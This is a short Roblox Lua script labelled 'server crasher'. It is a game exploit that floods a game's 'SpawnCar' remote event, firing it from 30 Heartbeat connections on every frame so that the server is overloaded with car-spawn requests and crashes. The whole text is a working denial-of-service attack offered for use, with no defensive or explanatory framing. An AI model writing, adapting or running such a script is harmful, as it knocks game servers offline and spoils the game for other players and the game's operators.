-- @build-failed -- server crasher local getservice = game.GetService local runservice, replicatedstorage = getservice(game, "RunService"), getservice(game, "ReplicatedStorage") local SpawnCarEvent = replicatedstorage:WaitForChild("SpawnCar") for i = 1, 30 do runservice.Heartbeat:Connect(function() SpawnCarEvent:FireServer("1956 Chevrolet Bel Air") end) end